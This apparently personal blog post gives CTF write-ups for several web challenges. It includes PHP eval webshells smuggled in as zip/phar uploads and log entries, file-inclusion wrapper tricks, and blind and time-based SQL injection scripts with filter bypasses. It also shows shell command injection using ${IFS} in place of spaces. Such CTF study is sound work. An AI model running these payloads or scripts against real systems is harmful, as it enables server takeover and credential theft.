ZJGSCTF

zjgsctf平台上的部分wp

ZJGSCTF 部分writeup

哇 黑进服务器

题目链接:http://218.76.35.74:20129

进去之后老规矩先右键看源码,提示说,去到include.php之后提示说需要file,应该是文件包含,用filter协议"php://filter/read=convert.base64-encode/resource="读取upload.php

base64解密之后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
****upload.php
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>

绕过方式很简单,只要后缀是jpg,且content-type是image/jpeg即可。

  • 一句话木马如下:

    1
    2
    ***a.php
    <?php eval($_POST('aaa'))?>
  • 将php打包成zip,然后重命名成jpg,上传

  • 在include.php页面利用文件包含和phar伪协议来读取jpg中的php文件。如下:这里一开始没加system,一直不成功
  • 然后flag文件藏在哪儿反正我没找到,潘大佬告诉我用find / -name ‘*flag*‘ 这才找到了flag

登陆有奖&登陆有奖plus

进去之后看到url里的page就一激灵,八成又是文件包含的题目,还是一样的套路,先试试filter读源码"php://filter/read=convert.base64-encode/resource="

base64解密出来两个比较重要的页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
***index.php
<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";
if (@$_GET['log']) {
if(file_exists($_GET['log'].".log")){
include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
***login.php
<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
<center>
login<br/><br/>
<form action="" method="POST">
<input name="login" placeholder="login"><br/>
<input name="password" placeholder="password"><br/><br/>
<input type="submit" value="Go!">
</form>
</center>

plan A

看潘大佬的wp才发现还有这种操作,因为在login.php中$pwhash并没有被赋值,这个变量是在index.php里面被赋值的,所以如果直接访问login.php而不经过index.php的话,则$pwhash这个变量的值其实是null,这样就很舒服了。
所以只需要根据phphash的特性,构造password[],则hash之后返回false,null==false

Plan B

看login.php里如果url里有debug参数的话,则会将用户名和密码写入到日志里,以’\n’分割。

  • 先想到的是写个php一句话到日志里,然后用文件包含去包含执行php代码

    至于为什么要写password这个参数,可能是因为Login.php里login出现的比较多,反正两个参数都能写,那就用password好了

  • 去看一下写进去的东西

    看来是写进去了

  • 那去包含一下吧

    好吧,好像失败了。。这里我一开始以为是%00截断后面的’.php’失败了,就用长度截断试了试,也失败了。。

去找一下原因

好吧,5.4.16版本,那么高。。%00和长度截断都是要求php版本低于5.3.4,其中%00还需要php的magic_quotes_gpc为OFF状态
那看来截断不行了,那换个角度试试

如果想绕过’.php’,可以用zip或者phar,但是这两个协议都需要压缩包。既然写一句话木马不行,那写个压缩包进去试试。

但是还有个问题,login和password之间用’\n’分割,这样会影响压缩包的解压,观察一下压缩包的结构。

能看到有个0A即’\n’,这样就很舒服。

  • 将十六进制导出,再将空格替换成%
1
login=%50%4b%03%04&password=%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%1c%00%63%2e%70%68%70%55%54%09%00%03%fb%0b%8f%59%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%63%5d%29%3b%3f%3e%0a%50%4b%01%02%1e%03%0a%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%18%00%00%00%00%00%01%00%00%00%a4%81%00%00%00%00%63%2e%70%68%70%55%54%05%00%03%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%50%4b%05%06%00%00%00%00%01%00%01%00%4b%00%00%00%5b%00%00%00%00%00
  • 试试看这样就可以把完整的压缩包拼凑出来了

  • 利用phar协议试试
    因为自动加上’.php’,所以其实是phar://./log/文件名.log/c.php,其中c=phpinfo()是传进去的参数

  • 上antsword吧(安利一波,很好看),

  • 双击打开flag.txt即可

你能登录吗?究极进化版

这里直接copy潘大佬的wp了

看长相像SQL注入,试了下先判断用户名,讲道理不可能写死判断是否是admin,而是查数据库看用户是否存在,那么这里可能就是一个注入点了,再讲道理密码都会哈希处理一般不会是注入点,所以要是有注入就只能在这里了,另外,这里是判断用户是否存在那么只有盲注了,继续测试发现它会显示字符被过滤alert(‘illegal character!!@_@’);,这个比较明显就可以先测试过滤了那些字符,经测试含,,|,&,and,or,union,like,*, (所有空白符)等,于是先想办法构造布尔语句,本来构造方法很多,但是要绕空格就pass很多了,这里使用普通运算就可以了:

1
2
3
4
5
admin'-1-'-1 #不能用+,被过滤了
admin'/'1 #不能用*,被过滤了
admin'^1^'1
admin'%1%'1
..........

好啦,现在有布尔语句了,往里面填值就好了:
构造的语句不能有空格,逗号,ORD(含or),于是:

admin'-(ascii(substr(database()from(2)))>110)-'-1

首先直接用exists(select(uname)from(admin))验证,猜出了表名和列名:
admin:uname:passwd可以少写点脚本,先把这个跑出来,不能做了再去跑所有的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
##老夫编程就是一把梭,什么二分查找,多线程 tan90°,能出结果就好了
import requests
url = "http://218.76.35.74:20130/login.php"
unameq = "admin'-(ascii(substr((select(group_concat(passwd))from(admin))from("
password = ''
for i in range(1,50):
for j in range(1,128):
uname = unameq+str(i)+")))="+str(j)+")-'-1"
data = {'uname':uname,'passwd':'123'}
r = requests.post(url=url, data=data)
if 'password' in r.text:
password+=chr(j)
print(password)
break
if j==127:
print("完成!")
exit(0)

跑出结果是50f87a3a3ad48e26a5d9058418fb78b5 cmd5 查出是shuangshuang登录进去:
可以进行命令执行,但是空格被过滤了,百度可知可以${IFS}替换空格http://smilejay.com/2011/12/bash_ifs/

而且发现它只回显最后一行,猜测后台代码如下:

1
2
3
4
5
$command = $_POST['cmd'];
if(strpos($command, ' ')){
die('Not allowed!');
}
system($command.' | tail -n 1');

跟tail对应的就是head,所以构造命令如但是好像没啥子,那就往上翻吧
这个目录有点奇怪进去看看
找到flag

看起来有点难

标准的sql注入,先看看过滤了什么吧很明显select被过滤了,这样一个一个试,发现还有空格也被过滤了。
这么看来的话,还是能过的,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#coding:utf-8
import requests
import time
def payload(field,x,i):
xx = "admin'/**/and/**/if(ascii(substring(%s,%s,1))=%s,sleep(3),sleep(0))/**/and/**/'1'='1"%(field,x,i)
#xx = "admin'/**/and/**/if(ascii(substring(%s,%s,1))=%s,sleep(3),sleep(0))/**/and/**/'1'='1"%(field,x,i)
url = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin=%s&pass=1&action=login'%(xx)
start = time.time()
response = requests.get(url)
end = time.time()
if end-start >3:
return 1
else :
return 0
print "start"
fields=['uname','uid','name','username','pw','passwd','password']
for field in fields:
id=0
flag=''
for x in range(1,100):
for i in range(32,128):
if payload(field,x,i)==1:
flag+=chr(i)
print field+':'+flag
break
if i==127:
print field+" is over"
id=1
break
if id==1:
break

代码写的有点丑。。我这里字段是一个一个猜出来的,如果师傅有什么好的方法可以私聊给我,或者师傅遇到过哪些用户名和密码花式字段都可以分享一下,可以弄个小字典来跑一下

亦可赛艇

右键查看源码可以看到source.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

主要是这几行代码:

1
2
3
4
5
6
7
8
9
10
11
12
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}

有两层限制,第一个限制是要查询结果为一行,可以用' or '1'='1' limit 1#来绕过,而且如果不加limit的话就会绕不过,这就说明不止一个用户,用offset看了下有两个用户.
接下来第二层限制的话用一个神奇的东西group by with rollup

group by pwd 是按照pwd来分组,此处是为了搭配 with rollup
使用with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg…),多出的那一行的pwd列只能是NULL所以到目前取出的的数据类似这样:

+——-+——-+
| uname | pwd |
+——-+——-+
| usr1 | * |
| usr2 | * |
| usr2 | NULL |
+——-+——-+

然后是limit 1 offset 2 就是跳过两个,只用第三个数据。

那么最终取出的数据就是这样了

+——-+——-+
| uname | pwd |
+——-+——-+
| usr2 | NULL |
+——-+——-+

这样

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. ZJGSCTF 部分writeup
    1. 1.1. 哇 黑进服务器
    2. 1.2. 登陆有奖&登陆有奖plus
      1. 1.2.1. plan A
      2. 1.2.2. Plan B
    3. 1.3. 你能登录吗?究极进化版
    4. 1.4. 看起来有点难
    5. 1.5. 亦可赛艇
,